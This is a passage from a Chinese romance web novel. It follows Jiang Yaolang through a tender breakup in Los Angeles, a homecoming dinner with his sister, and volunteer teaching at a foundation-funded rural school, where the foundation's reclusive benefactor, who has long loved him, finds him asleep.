“我知道天使一定纠结了很久,尝试了很多方法。”那片属于江瑶浪的蓝色海洋依旧包容而温柔,“我是一个失职的恋人。”
“我没能察觉你的情绪,我也想不到更好的解决办法。”
“没有关系的,分开是最优的选择。”
只是。
望望在心里说,江瑶浪,我的天使,我会永远爱你,我会永远守护你。
也许你不再需要。
“天使,不要哭。”望望贴上江瑶浪脸,抚摸他的背安慰他,“真的没关系的,我知道你爱着我,这就够了。”
“我们比世间绝大多数的恋人都要幸运。”
“没有争吵,没有埋怨,没有分歧,我们在爱里选择分开。”望望闭上眼,嗅闻他的发香,“这是你对我的仁慈。”
许久以后,江瑶浪才止住哭意,说话的声音不再颤抖,他对望望说:“你来中国,我会来见你,尽管不能再以恋人的身份。”
“但我依然会来见你。”
“好啊。”望望点头应下,笑着让心接受凌迟。
*
江瑶浪不愿让自己留下遗憾,他主动对望望提出:“望望,用你的皮卡载我一段路吧。”
“可以吗?”望望还记着。
“可以啊,”江瑶浪笑着看他,“总要试一试呢,坐上你的副驾。”
于是,望望载着江瑶浪开车行驶在日落大道上,他控制着车速,开得很慢。
“加速吧望望。”江瑶浪说,“按照你的习惯来。”
尽管江瑶浪要求加速,但望望也不敢猛踩油门,他一点点提速,同时细致观察着江瑶浪的神色。
出乎他的意料,江瑶浪没有紧张,更没有害怕,他只是很放松地靠在座椅上,侧头浅笑看着不断倒退的棕榈树。
望望终于放下心,正如每一个最普通不过的日子,他踩下油门加速,让车辆按照他的习惯行驶。
窗外是吉他商店,江瑶浪想起那个平安夜。
想起他在海边唱歌,望望用吉他给他伴奏,他接得很好,他们很默契。
他在表达爱意,他们接吻,他们私奔。
私奔了三年。
然后时间一晃而过,江瑶浪来到望望的家,在和他作最后的道别。
车内没人说话,江瑶浪觉得这太安静了。
所以,他说:“望望,我唱歌给你听吧。”
望望自然是点头欢迎,他非常期待。
“《日落大道》,送给我的望望。”今天的江瑶浪没有藏着,主动报出了歌名。
望望在专心开车,这次没人给他伴奏。
江瑶浪毫不在意,因为他特意背了歌词,他清唱也很好听:“总是梦见云层之上飞过子午线,分不清是黑夜还是白天。”
“天使,你唱歌真的很好听。”望望忍不住夸赞。
江瑶浪骄傲地点头,忍不住溢出笑意,但他还在唱着:“我们寻找着在这条路的中间,我们迷失着在这条路的两端。”
“每当黄昏阳光把所有都渲染,你看那金黄多耀眼。”
“望望,”天空已经开始染色,江瑶浪停下歌唱,“你看,要日落了。”
缓缓下沉的太阳悬挂在道路尽头,余晖洒在所有忙忙碌碌的行人与车辆上,一视同仁地为他们镀上浅金。
“洛杉矶的日落大道,好像和我想象中不太一样。”
“那是更好还是更坏?”望望接过话。
江瑶浪摇摇头:“没有更好或者更坏,只是觉得很普通。”
“我坐在你的车上,路过一条很普通的道路。”
“这是你的日常,我在体验你的日常。”江瑶浪笑。
望望也笑了出声:“是的,天使,这是我的生活。”
这句话过后,沉默又开始蔓延。
望望主动停下,让行人先行通过,在这个间隙,他看向把头靠在车窗的江瑶浪,问:“天使,不想继续唱了吗?”
江瑶浪小幅度
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地点点头,唱接下来的词:“我们奔跑着在这条路的中间,我们哭泣着在这条路的两端。”
“每当黄昏阳光把所有都渲染,”江瑶浪顿了顿,唱完了最后一句,“我看到……”
“夜的黑暗。”
“不唱了。”江瑶浪摇摇头,把自己藏进发间,“就到这里吧。”
车内再次恢复安静。
很安静,但望望知道江瑶浪在偷偷哭,可他在开着车。
可他也只能任由自己的眼泪无声滑落。
*
望望载着他,来到了他们最熟悉的海域。
他拿出两人的风冲装备,对江瑶浪说:“天使,我们还没有看到鲸鱼。”
江瑶浪靠在车身上,接过风筝问:“那今天会有吗?”
望望摇摇头:“我不知道。”
“先试试吧,我们不缺尝试。”江瑶浪重新上车,在车内迅速换衣。
然后他展开风筝,开始打气布线,他控制着风筝,让风带着自己在水面上飞速疾驰。
呼啸的风吹起他的长发,飞溅的水花打湿他的衣物,望望一如往日,紧跟在他的身后随时准备接住他。
因此江瑶浪勇敢地加速往未曾踏足的海域而去,他不期望能见到从未出现的鲸鱼,他只是想让望望能陪他去到再远一点的地方,哪怕只是一点点。
可他们真的奇迹般地遇到了鲸鱼。
巨大的鲸跃出水面,腾空侧身翻转,万千水珠随着动作从它的身上洒落,为海下了一场雨。
淋湿了江瑶浪。
控制风筝的手克制不住地颤抖,视野被优雅的庞然大物完全占据,江瑶浪的心跳得很厉害。
望望的大喊冲破这场雨从身后传来:“天使!飞起来——”
被提醒的江瑶浪心神回归,他调□□筝,追随鲸鱼而去,今夜连风都格外偏爱他,鲸鱼将要没入水中,可在那之前,江瑶浪被风托举着离开海面,高高跃起,实现飞行。
然后,越过鲸鱼,与鲸鱼一同回落海面。
江瑶浪激动地扭头看向身后的望望:“望望!你看到了吗!”
“我越过了鲸鱼——”
目睹一切的望望同样激动,他说:“我看到了!天使!我都看到了——”
他们无法克制内心的冲动,全速回到了岸边,他们躲在礁石后,藏进海浪间,紧紧相拥,抵死缠绵。
他们不愿意停下,却不得不屈服于这片夜色与不再安全的海。
最后的最后,望望长久注视着赤裸浸入海洋的江瑶浪,看他潮湿的海藻长发,看他比月光皎洁的肌肤,看他如妖似魅的脸,看他同样藏不住痛意的眼。
望望将关于他的一切珍藏于心。
然后他说:“江瑶浪,海无处不在,鲸无处不在。”
“你要越过它们,你要高高飞起。”
“你要做一往无前的浪。”
“不要,”望望颤抖着唇,“不要再为我降落。”
闻言,江瑶浪猛地抱住望望,双唇紧贴他的耳朵:“我的番茄和黄瓜,我送给你啦,你要照顾好它们。”
“好。”望望点头答应。
“你不会做爸妈和祖母爱吃的菜,但是没关系,我把菜谱和注意事项都写好了,就放在你的书桌上,很详细,你肯定可以看得懂。”
“好。”望望再次点头。
“望望。”江瑶浪更用力地抱紧他,“谢谢你。”
谢谢你的爱意与包容,让我任性地作出各种决定。
谢谢你的坚持与勇敢,带我找回意气风发的自己。
52.第 52 章
江瑶浪独自回到了厦门,来接机的是江瑶清。
江瑶清看到了他戴在右手的戒指,也看到了他空无一人的身后。
她抬头与江瑶浪对视,眼里全是关切。
江瑶浪摇摇头,只说:“我和他分开了,我提的。”
于是江瑶清张开双臂,问:“要不要躲进妹妹温暖的怀里哭一哭?”
江瑶浪还是摇摇头,但他弯下腰,让自己的头靠上江瑶清不算宽不算厚的肩。
江瑶清不知道该怎么安慰她的哥哥,只能心疼地抱紧他。
很快,江瑶浪抬手拍拍她的头,站起身笑着说:“小清,不要谈异地恋。”
“累得要命。”
“好哦。”江瑶清点头应下,“我记住啦。”
“走吧。”江瑶浪提起行李,边走边问,“想吃什么?”
“回家吃吧?我新学了几道菜。”江瑶清迫不及待想展示厨艺。
江瑶浪挑眉,惊讶道:“现在都这么厉害了?”
“这么惊讶做什么啊,小浪。”江瑶清哼哼,“我可是一直都在学,一直都很厉害好不好。”
“行啊,让我好好品尝一下清姐的新菜。”
江瑶清非常自信:“那哥哥你可以把期待值拉满了!”
*
到家后,江瑶浪准备先去洗个澡。
他打开衣柜想拿睡衣,却看到了望望没带走的、占据了一小部分地方的衣服。
春夏秋冬,什么都有,混杂在他的衣物中。
江瑶浪缓了片刻,然后很快将属于望望的衣服整理出来,打包装箱封好。
他当然没有问望望要不要寄给他这种没意义的问题,但他也没有把它们丢掉,只是放在了房间内不引人注意的小角落。
收拾好后的江瑶浪直起身一看,正好与床上的巨熊对上视线,再一扭头,又发现望望做的木头小鲸鱼无处不在,书桌上的显眼处是他们大笑着的合照,旅行手账和制作材料占了一层书架。
它们早就成为了自己卧室的一部分,分外和谐。
哪怕是低头逃避,视线也能瞬间被指间明亮闪耀的宝石所吸引。
他们分手后,望望依旧无处不在,包括江瑶浪自己的心。
真的要将它们全部收拾干净,那会是一个大工程。
此时的江瑶浪完全提不起劲,只是做回最初的举动,拿起睡衣进浴室洗澡、吹头,然后坐到饭桌等江瑶清端出她的新菜。
江瑶浪二十三岁的时候,江瑶清还没上大学,只会做点难度不大的漂亮饭。
现在江瑶浪快二十七岁了,江瑶清即将大学毕业,同时她也把自己的厨艺修炼得紧贴江瑶浪,即将超越。
他的妹妹有在认真生活,有在认真地爱着自己,就像他爱她一样。
因为就两个人吃,江瑶清只做了两荤一素,一道避风塘罗氏虾,一道金沙鸡翅,素菜是清炒丝瓜,卖相很好。
江瑶清解下围裙,随手放在椅背,她指着虾对江瑶浪推荐:“哥哥,快试试!这个避风塘炒料是我自己做的,可好吃了!”
“这么厉害呢。”江瑶浪一边笑着夸她,一边给虾剥壳。
“那当然啦,本来想偷懒买现成的,”江瑶清托着脸说明,“后来发现也没有很难,干脆就自己做了。”
“我们清姐果然聪明,”江瑶浪把完整的虾肉递到江瑶清嘴边,“奖励你一只虾。”
江瑶清笑嘻嘻地吃下,然后把自己剥出的完整虾肉,放进江瑶浪的碗里:“哥哥快试试啦。”
江瑶浪吃下那只虾,火候正好,食材新鲜,很香,很爽口。
“确实好吃啊。”江瑶浪对着江瑶清竖起拇指,夸赞她。
“那哥哥多吃点咯。”她又放了一只虾进江瑶浪的碗里。
她还想再剥,被江瑶浪制止:“好啦,你也吃,我自己来就行。”
江瑶清没有夸大,她做的这三道菜都很好吃,食材选得新鲜,调味和火候都掌握得恰好。
江瑶浪开心极了,吃到中途他放下筷子,拿出手机拍桌上的菜。
江瑶清问:“拍什么啊哥哥?”
江瑶浪很快编辑好内容,发了条朋友圈:“当然是炫耀一下我有一个多厉害的妹妹。”
江瑶清找到哥哥的朋友圈,给他点了个赞,她本以为自己会是首赞,定睛一看,却发现望望的头像在自己头像前面。
她哪里敢在饭桌上提望望,只是假装埋怨:“哥哥怎么不在一开始就拍啊!现在都剩不多了,桌上还全是骨头虾壳的。”
江瑶浪关上手机,神色无异:“就是因为这样,才更能说明清姐的手艺到底有多好啊。”
“毕竟,世界上好看不好吃的菜多了去了呢。”江瑶浪说着又夹了半个鸡翅。
江瑶清心细,把每一个鸡翅都对半剪开,剪开后的鸡翅大小正好,一口一个。
“嘻嘻。”江瑶清点头附和,“哥哥说的都对啦。”
饭后,江瑶浪自觉去洗碗,江瑶清靠在冰箱上看他。
江瑶浪任由她看着,却还是忍不住出言调侃:“小清监工,盯得这么认真,是觉得我会偷懒?”
“不是啦,只是觉得好久没见哥哥洗碗了,有点想念。”江瑶清抱怨,“还以为上大学后能多点时间粘着你。”
“没想到忙起来的时候没日没夜的。”
“大学忙才说明你在认真学呢。”江瑶浪说,“要是一天天的都不知道该干嘛,那才是真的浪费了这四年。”
“大学以前,只用一心读书就好了,上课、做题、考试、复盘,学校什么都给你安排好了,但是大学呢,”江瑶浪笑笑,“大学是社会啊。”
“选择太多了,想怎么过全看你个人。”江瑶浪继续说着,“不过我的妹妹足够优秀,做到了她承诺的,勤工俭学拿奖学金。”
“哎,小清你知道吗?”江瑶浪的眉眼藏不住骄傲,“我的学员大多数都很年轻的嘛,大学生也不少,他们在抱怨自己生活费不够用的时候,我就会想到你。”
“多难得啊,我的妹妹不需要我给生活费哎。”
江瑶浪看向江瑶清的双眼亮晶晶的,语气自豪:“我的妹妹真的太厉害啦。”
江瑶清全盘收下江瑶浪对她的夸赞,一本正经地说:“因为我要努力让哥哥避免老年被护工打的悲惨命运啊。”
“还记着呢?”江瑶浪忍俊不禁。
“当然记着。”江瑶清点点头。
“好啊。”江瑶浪把洗干净的碗整齐排放在沥水篮里,“那等我老了,可就全指望清姐来照顾了。”
“放心吧哥,有清姐一口吃的就
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有你两口吃的。”
“我能吃这么多?”
“能吃是福啊,小浪。”
*
江瑶清还有一个项目在赶,陪江瑶浪吃过饭后就匆匆忙忙回学校了,她临走前还美名其曰还一个清净空间给哥哥消化情绪。
江瑶浪其实没什么负面情绪,他现在更舍不得自己妹妹,所以看着妹妹风风火火地往外跑,他委屈地小声说给自己听:“都要毕业了,还这么多事儿呢。”
他的脑子里不可控地冒出小时候看过的公益广告,江瑶浪学着广告里老奶奶的语气:“都忙,忙,忙点好哇。”
说完后,他又被自己逗乐了。
江瑶浪笑着摇摇头,坐在沙发打开了电视,准备找个电影看。
但翻找许久,也没找到一部他感兴趣的新片,江瑶浪不耐地“啧”了一声,把电视关了拿起手机找望望吐槽。
是的,分手不代表断联,他们虽然不再是恋人,但都没办法轻易地将对方放下,于是他们选择后退一步,成为彼此最重要的朋友。
江瑶浪没有江瑶清想象中痛苦,但也没这么自如。
好歹也是失恋了,虽然是江瑶浪选择的,但是哪有这么快能习惯,所以遇到烦心事时,江瑶浪还是会下意识找望望寻求安慰。
望望一贯很会哄他,对付他的小情绪自有一套。
他给江瑶浪打了个视频电话,接通后,江瑶浪听到对面传来低语:“天使,我在开会呢,只能小小声和你说话啦。”
江瑶浪一听他在忙,就准备把通话给挂了,挂之前他说:“那你先开会啊,打视频过来干嘛,我挂了啊。”
“别挂,商业性质的会,好无聊。”望望的声音依旧很小,“天使,让我哄哄你。”
江瑶浪依旧不太乐意:“我现在听你说话都费劲,你还是开会去吧。”
“我不说话,天使你看这个。”望望翻转镜头,对准桌面上刚画了一点的连环画,“由望望的番茄和黄瓜表演的情景剧。”
望望边画边写台词,偶尔低声说两句旁白,没什么特别的剧情,就是番茄和番茄、番茄和黄瓜、黄瓜和黄瓜之间的对话,望望的画技也很一般,但没过多久就成功让江瑶浪笑出了声。
江瑶浪的笑传进望望的耳朵,他问:“现在心情好点了吗?天使?”
望望那边还是能看到江瑶浪的,所以江瑶浪点点头。
望望呼出一口气,放心道:“那就好。”
然后他把镜头翻回来对准自己,和江瑶浪对视。
“累不累呀?”望望问。
江瑶浪换了个姿势,双膝并起蹲坐在沙发上,他把下巴抵在膝盖上,小幅度地点点头:“有点累,但是不困。”
“就是睡不着,所以想找个电影看嘛,结果都没什么好看的。”江瑶浪撇撇嘴,很是嫌弃。
“算啦,你开会吧。”虽然会议大多无聊,但江瑶浪也不能长时间打扰他,“拜拜,望望。”
这次望望没再拒绝,他偷偷摸摸地挥挥手:“拜拜,等我回家了给你拍今天新长出来的小番茄。”
江瑶浪点头后也朝他挥挥手,然后干脆地挂了通话,让屋里又剩下他一个人。
唉。
江瑶浪叹了口气,心想,也许人到了一定年纪就这样,受不了太安静。
53.第 53 章
江瑶清的求职非常顺利,在秋招时就已经成功拿到了offer,公司在北京,各方面的待遇都挺好。
因此江瑶清答辩结束后,江瑶浪也提出了离职申请,现在就等着毕业典礼结束,然后两人一同返回北京。
剩下的时间不算多也不算少,勉强还能有个二十天,出去玩吧,江瑶清学校里还有事情,一个人也没意思,但留在家里闲着更没意思,江瑶浪烦了两天,最后还是决定自己出去走走。
于是他开始浏览帖子,准备通过网友的推荐,选出一条自己喜欢的旅游线路。
也就在这时,江瑶浪刷到了一篇支教日记。
分享这篇日记的帖主写得真情实感,极为打动人,详细地描述了她在支教过程中的收获与感动瞬间,一下子就引起了江瑶浪的兴趣。
支教。
江瑶浪想起了大一的暑假,那时候他报名参加了学校组织的支教活动,他们去到一个小小的村子,来到一所小小的学校,真的很小,没有宿舍,他们被分在村子里的老人院,却也只能住在二楼的客厅和杂物房,地方不大,但干净。
村里还给他们提供了两张床垫,江瑶浪和另一个男生自觉地让出,铺着凉席肩并肩地挤在杂物房,也幸好是夏天,他们也没那么讲究,几乎是枕着书包盖着外套就凑合了一夜又一夜。
那个男生叫什么,其实江瑶浪已经记不清了,他只记得洗手间的水管会在每天半夜准时炸开,哗啦啦地漏水,往往是客厅里的女生们先察觉,四声惊呼此起彼伏,然后大步跑来敲开他们的房门。
于是,江瑶浪就会顶着一头乱糟糟的发去修水管,其实他也不会修,只是用透明胶缠两圈,确认当时止水了以后,就又睡眼惺忪地晃着回房睡觉。
然后,小孩儿们就会在天亮没多久后,叽叽喳喳地挤在老人院楼下,对准二楼的窗户喊他们起床,早上喊,午后也喊,非常准时。
十八岁的江瑶浪还是有点起床气的,被叫醒后会嘟嘟嚷嚷些抱怨话,内容大多是睡不好觉之类的,但身体倒是很诚实地飞快收拾好,拿起教案就跑向等下楼下的学生。
那个暑假,江瑶浪收获了一段非常难忘的经历。
所以,在看到支教分享帖后,江瑶浪心动了。
可他也清楚,能找到适合他的项目希望不大,因为他只有二十天,不过江瑶浪没有就此放弃,而是打出关键词开始搜寻。
反正现在也没事干,万一真能让他找到呢,对吧?
对的。
江瑶浪很快就找到了适合他的支教项目。
发起组织名为“北京小瑶公益基金会”,它正在长期招募愿意前往“小瑶希望学校”协助教学的志愿者。
它为有意向报名的爱心人士提供了多样时间、多种地点,看起来很靠谱。
可江瑶浪总觉得怪怪的,不管是名字还是过于自由的时间地点。
所以他很谨慎地先查证了一下这个基金会的真伪,又看了下由它发起的公益项目的成果与评价。
结果显示,这个基金会还真的就这么好,不到两年已经全额捐赠了超过六十所希望学校,有小学有中学,遍布全国。
除了教育助学,它还会为困难患者就医、因自然灾害这类突发事件遭受损害、困难家庭等需要帮助的人群提供救助,小瑶基金自成立以来,一直是哪里有需要它就帮哪里,首当其冲出钱出力。
江瑶浪放下了半颗心,然后找到工作人员进一步咨询,在进行了详尽的沟通外加仔细阅读了工作人员发过来的资料后,江瑶浪剩下的半颗心也终于稳稳落下。
他很快提交了报名问卷,有点紧张地等待审核结果。
一天后,江瑶浪收到了通知结果的电话与短信,告知他成功入选了为期十天的支教活动,江瑶浪迅速添加上跟进后续工作的负责人的联系方式,填写了一份更加详细的资料收集表。
需要填写的资料中,有一项是志愿者的收款账户,江瑶浪有点疑惑,因为在他的印象中,别说只有十天的短期支教,哪怕是一两个月的,基本也都是没有补助的,所以他主动进行询问。
负责人让他放心填写,并给出解释,小瑶基金所有的支教项目都会为志愿者们提供一定的补贴,短期的会少于长期,虽然不多,但都会有。
江瑶浪更觉意外,但他现在其实已经不缺这几百块了,所以又问负责人能不能将他的补贴转为捐赠物资,一并带去学校。
短暂等待后,负责人回复他可以,他先是感谢江瑶浪的善举,又说明物资的采购和运输需要由基金会统一进行,后续会给他提供相应的明细与捐赠证书。
江瑶浪当然没意见,负责人给出的回复也让他对这个基金会的好感更上一层,不论它的根本目的是什么吧,但确实是有在办实事,有在帮助人。
*
行程已经确定,江瑶浪先和江瑶清交代了一下,在完成线上培训后,他提着行李落地广西,与参与本次支教活动的负责人与同伴会合。
线下集合完毕,负责人又给他们进行了为期一天的培训,结束后带着他们上了大巴,大巴越驶越偏,越驶越深,载着他们来到了镇上的小瑶希望小学。
在他们抵达前,正副校长已经做好了迎接的准备,刚一下车,就给他们送上了鲜花。
“欢迎你们的到来!我姓何,叫何咏心,是这所希望小学的现任校长,”何校长逐一和他们握手,“我身旁的是副校长洪子华。”
洪校长同样热情,边握手边问好:“你们好,你们好,欢迎你们!”
迎接过后,何校长带着他们前往宿舍放置物品,她边走边解释:“学生们都在上课,所以只有我和洪校迎接你们,招待不周,望见谅。”
众人自然是连连摆手,忙说不介意。
江瑶浪很喜欢这样的安排,他们本来就是来帮忙的,又怎么能因为这一点小事而影响学生们的正常上课呢?
然而接下来何校又说:“虽然学生们不在,但他们非常欢迎,也非常期待你们的到来,送给各位的花束都是由学生们准备的。”
“不算精致,但学生们都很用心,希望各位喜欢。”何校笑笑。
闻言,江瑶浪很是惊喜,刚才他就注意到了这束不大的花,都是些开得烂漫的山花,没有任何名贵花材,但却更显生机勃勃,包扎的学生显然非常认真,色彩和谐,包装纸平整,连蝴蝶结都分外
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标准对称。
“好棒啊,这些孩子们。”江瑶浪忍不住出声夸赞。
何校和洪校都听到了这句表扬,脸上尽是骄傲之色。
学校给他们准备的宿舍是四人间,上床下桌,配置好了相应的床上用品与纸笔文具,宿舍有独立卫浴,很新,很干净,远超江瑶浪的期待。
从宿舍出来后,两位校长带着他们逛校园。
这所小学不算大,现有六个教学班,每个班级即为一个年级,六个年级共计一百三十一名学生,专任教师十五名,配有专门负责安保与食堂运营的人员。
学校的基础设施很齐全,配有多媒体教室、计算机教室、卫生保健室、音乐教室等功能场室,标准级的篮球场和足球场各有一个,图书馆、食堂和宿舍都是独立的一栋。
“这所学校的配置真的很不错啊,各方面都很好,而且很新。”同行的一位女生忍不住夸赞。
“是的。”何校点头,“小瑶基金很大方,给我们的配套设施都是又新又好的,同时会很快满足校方提出的需求。”
他们正好走到图书馆门前,安保人员正在卸货的货车与门口之间往来搬书。
何校指向那些书:“上周,我提交了一份孩子们想看的书单申请,今天他们就把书运来了,而且比我们需求的要多得多。”
“小瑶基金真的是帮了我们很多啊。”洪校也感叹。
正好提及小瑶基金,何校就把他们带到了一面的涂鸦墙前,上面画满了文具、篮球、书本、自行车、跑鞋、娃娃等用品,可以看得出画画的人很用心,简单又重复的图案他也能画得多样多彩。
何校为他们介绍这面墙的来历:“这是基金会的一个主要负责人在学校建成的当日画下的,看起来很杂乱是不是?”
“但这些都是学生们最想要的东西,当时他就蹲在这里,拿着画笔,问学生们想要什么,学生们说一个,他就画一个,重复了的也画,画完了以后,他就把学生们的愿望全部实现了。”
“不止我们小学,所有由小瑶基金捐赠的学校,他都会这么做。”何校评价道,“是个好人啊。”
“是企业家吗?怎么没见到过相关的宣传?”有人问。
何校点头笑了下,说:“他的事业非常成功,他本人却非常低调。”
“这个问题我也问过他,毕竟这是多好的宣传素材,可他是这么回答我的,”何校为众人解惑,“他说,他做这些,只是为了他自己,他很自私,所以不值得被夸。”
在这一句话后,下课铃被敲响,于是何校摇摇头,换了话题:“好啦,就不多说他了,我们去见见学生吧。”
小瑶希望小学把学生们教育得很好,孩子们脸上漾着健康的红晕,眼中虽然充满了好奇与兴奋,但很守纪律,在老师没有允许前,只是安安静静地望着他们。
而在他们逐一介绍完自己后,学生们更是以最热烈的掌声欢迎他们的到来。
看着讲台下一张张朝气蓬勃的笑脸,江瑶浪忍不住笑了又笑。
他是真的真的,很喜欢看到这些活泼开朗的小孩儿。
他也真的真的,很希望能为他们做些什么,再多做些什么。
54.第 54 章
江瑶浪的课被安排在下午,但他想到了昨天新到的那批书,于是决定去图书馆看看能不能帮得上忙。
江瑶浪走进图书馆,找到正在忙碌的图书馆管理员打了个招呼。
“您好,有什么是我能做的吗?”
“你好。”管理员从书堆里抬头看他,语气疑惑,“请问你是?”
“我是刚来的支教志愿者,我叫江瑶浪。”江瑶浪向她道明身份。
“啊,江老师你好你好,”得知来人是志愿者后,管理员脸上全是笑意,“我现在正准备上架图书啦,江老师愿意帮忙的话就太好了。”
江瑶浪点点头,问:“要从哪些开始呢?”
“来,我给江老师讲一下。”
管理员将江瑶浪带到已经分类贴好书标的图书旁,先是指着书标给他说明了内容和作用,又为他介绍了书架的大致分区。
片刻后,江瑶浪说:“我明白了,谢谢你。”
“哎呀,说这些,”管理员说,“是我们麻烦江老师啦。”
“不麻烦,那我开始了?”江瑶浪取下手腕的皮筋束起长发。
“好啊,好啊。”管理员应下,和他一起给图书上架。
新到的这批书数量确实不少,两人给新书分类上架的同时也在挑出放错的书,忙了一上午,仍剩一小部分没整理完。
管理员找到江瑶浪,对他说:“江老师辛苦啦,先去吃饭吧,剩下的我来就行。”
江瑶浪摇摇头,指向仅有最高层有空位的书架,拒绝了她:“我比较高,我来吧。”
“您先去吃饭就好。”江瑶浪笑笑。
“那多不好意思,我和江老师一起弄吧。”
“没事,就差一点了,我一个人就可以的。”江瑶浪继续劝说,“您去休息吧。”
在江瑶浪的坚持下,管理员也不再推脱,只说让他饿了就快去吃饭,剩下的一会儿再弄也来得及。
江瑶浪点头应下,然后继续上架图书。
图书剩得不多,加上江瑶浪已经熟练,不过半小时他便结束了全部的工作,他暂时还不饿,也就没去吃饭,而是绕着书架又检查了一遍。
确认都摆放正确后,江瑶浪随意挑了本书,盘腿坐在过道,开始阅读。
没想到随手拿的书内容还不错,江瑶浪挺感兴趣的,他看得入迷,却也没忘换了个坐姿,让自己放松靠在书架上,同时舒缓微麻的腿。
但可能是此时的阳光不错,无人的图书馆又实在安静。
江瑶浪的头越来越重,意识越来越沉,不久后身子一歪,倒在书架上睡着了。
*
单承言提前结束了线上会议,车辆刚停稳在小瑶希望小学的门口,他便自己抬手打开了车门,随后他前走两步,握上何校本想替他开门的手。
“何校,好久不见,最近一切都好吗?”单承言主动问候。
“托单总的福,我们都很好。”何校回答。
“嗯,”单承言解释来意,“正好到这边出差,所以就想来看看。”
“书都送过来了吗?”单承言问。
“都送来啦,单总破费。”何校朝他道谢。
“没事,学生喜欢就行。”
“昨天又有一批志愿者来学校帮忙,单总要见见他们吗?”何校说。
单承言摇头:“不用。”
想起什么,单承言又问:“图书都上架了吗?”
“有在整理的,但是应该还没弄好。”
于是单承言解开西装扣,把外套丢给身后的保镖,他边挽袖子边图书馆走:“行,我帮你们一起弄。”
何校大步追上他,忙说:“这怎么能麻烦您,我们自己弄就好了。”
“没关系,就当活动身体。”单承言回头看向何校,笑意温和,“坐车坐久了,浑身难受。”
何校劝阻失败,只能跟在他身后一起来到图书馆,可映入眼帘的不是堆放于地的书籍,而是满满当当的书架与清扫干净的地面。
看到眼前的场景,何校显然很吃惊,她正准备向单承言解释,就被他抬起的手压下话语。
“请代我向管理员道声辛苦。”单承言微颔首,放下挽好的衬衫袖,重新穿上西服外套。
随即他将手插入裤兜,步履沉静地迈入图书馆。
他一路缓行,逐一检查馆内的设施。
每当发现不起眼的安全隐患,单承言便会指出并低声向何校说明,要求及时整改,随后又会宽慰一句:“都是些小问题,何校不需要感到压力。”
何校一一记下,承诺今日内全部整改完成。
单承言温和笑笑:“有何校这样负责的管理人员,我自然是放心的。”
他继续前行,却在某处突然停下脚步。
单承言愣在原地许久,狂喜与难以置信在胸中持续翻涌,馆内仍有外人,他只好强行按下自己激动的心,却没办法控制遵循本能的视线,只能任由它贪婪地、狂热地,一寸不离地注视着那个思念多年的身影。
他难得反常,何校关切问道:“单总,是有哪里不对劲吗?”
“没有。”单承言找回理智,但不多,只够他将说话的音量压得不能再低,“不好意思何校,可以请您先行离开吗?我想一个人在这里待一会。”
“好的好的,那就不打扰单总了,我在门外等您。”
单承言已无心与她客气,只是再次颔首,同时抬手挥退贴身跟随的保镖。
随着他们的离开,图书馆再次变得安静,但或许也没有那么安静。
因为有人的心跳又急又重,乱无章法。
单承言下意识紧捂外泄的心跳声,往后退了一步又一步。
江瑶浪睡着了。
而这颗该死的心会惊扰他。
江瑶浪,江瑶浪。
瑶瑶。
单承言默声喊着他的名字,只觉午后的阳光实在是刺眼。
竟让他的双眼瞬间湿润。
可也因为午后的阳光炙热,又顽劣地透过玻璃窗芯,游移在江瑶浪的半身,光斑恰好晃在江瑶浪闭起的眼皮上,烫出无意识微颦的眉。
恰好给他提供了一个允许靠近的借口。
单承言整理着装,抬腿重新向他迈步而去。
内心疯狂告诫自己要冷静、要克制,步伐却彻底失控,越迈越大,越来越急。
然后。
他单膝下跪,倾身为他挡去恼人的阳光。
江瑶浪睡得安稳,束发的皮筋不知何时无声断裂,失去束缚的卷发随意散落,遮盖小半张脸,过长的发尾蜷缩在地,竟显出几分委屈。
单承言感知到发尾的情绪,只觉得自己的心也跟着疼了起来,他小心翼翼地伸手抱起,将它们轻轻放置在自己的膝上。
随后他从西服内袋取出全新的发绳,本欲为江瑶浪编起头发,又恐他不喜。
斟酌半响,还是选择放弃,只敢用眷恋的目光细细描摹起他的轮廓。<
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p>江瑶浪,好久不见。
我,真的很想你。
靠近江瑶浪,倾听他轻浅的呼吸声,让心脏随其同频跳动。
只此片刻,属于单承言的世间万物便归于安稳平静。
安稳平静,却无法知足。
他贪求更多,克制被欲望焚烧殆尽,他僭越地将手撑于书架,将江瑶浪围入自己的怀中,在阴影里,侧头一寸一厘地贴近。
呼吸交织,渴望之物近在咫尺。
然后,江瑶浪无意识轻呓一声。
“望望……”
他含糊地嘟囔着:“别闹。”
随即抬手,推开了他的靠近。
皮肉相贴的一瞬,佩戴在右手指间的戒指,折射出无法忽视的宝石辉光。
比阳光更盛。
再一次轻易刺伤了单承言的双眼。
*
江瑶浪是惊醒的。
睁眼的下一秒,他迅速掏出手机看时间,确认没到上课点后才松了一口气。
他重新靠回书架,却发现自己怀里抱着长发,原本摊开的书已被合起放回原位。
而他的指尖正松松套着一根全新的发绳。
江瑶浪这才意识到自己束发的皮筋已经断开,他站起身弯腰仔细找寻,却没找到,于是只能安慰自己,是送自己发绳的好心人顺手帮他一并丢了。
他用新的发绳重新束起自己的长发,随后离开图书馆往上课的教室走。
江瑶浪是支教志愿者,所以全权负责班级教学的人不是他,他更多是充当助教的角色,协助老师完成教学,辅导学生课后作业之类的。
他料想学生们会对自己这个外来者感兴趣,却没想过他们对自己的头发最感兴趣。
他们包围着他,像一团团叽叽喳喳的小雀。
一会儿问他为什么要留长发,一会儿问他会不会编一百种辫子,一会又问他是不是很难打理,洗完头要多久才能吹干,过会儿,女孩子们又问他能不能也给自己编好看的头发。
江瑶浪极其耐心,一一回答他们的问题,又将编发请求答应下来,承诺明天带皮筋过来满足她们的需求。
“小江老师,我现在就有皮筋,你可不可以现在帮我弄呀?”一位女生举手发言,同时晃了晃自己脑袋上的辫子,向江瑶浪示意皮筋的所在处。
“好啊。”江瑶浪点头应下。
见他答应,瞬间又冒出几个举手的女孩子,都抢着说自己有带皮筋,也想现在弄。
于是江瑶浪给她们排好了序,让她们一个一个来,没轮到的就先专心做作业。
她们确实很乖,不吵不闹,没到她们的时候就认真做作业,遇到不会的就捧着作业本问江瑶浪,轮到了也安安静静的,没有打扰任何人。
江瑶浪虽然不会一百种编发,但他会的确实也不少,只不过碍于皮筋数量的限制,他也只能给她们扎点简单的造型。
但这也足够让这些小女孩儿感到开心了。
“喜欢吗?”每完成一次编发,江瑶浪都会拿出随身携带的小镜子,让她看看效果。
“喜欢的!谢谢小江老师!”
于是江瑶浪就会笑着摸摸她的头:“喜欢就好,下次还想扎的话,就来找我吧。”
“那会不会打扰小江老师呀?”
她们真的很乖,很好哄,很让人心疼。
“怎么会呢,老师很高兴你们能来。”江瑶浪轻声回答,用话语间的真诚吹散她们的疑虑。
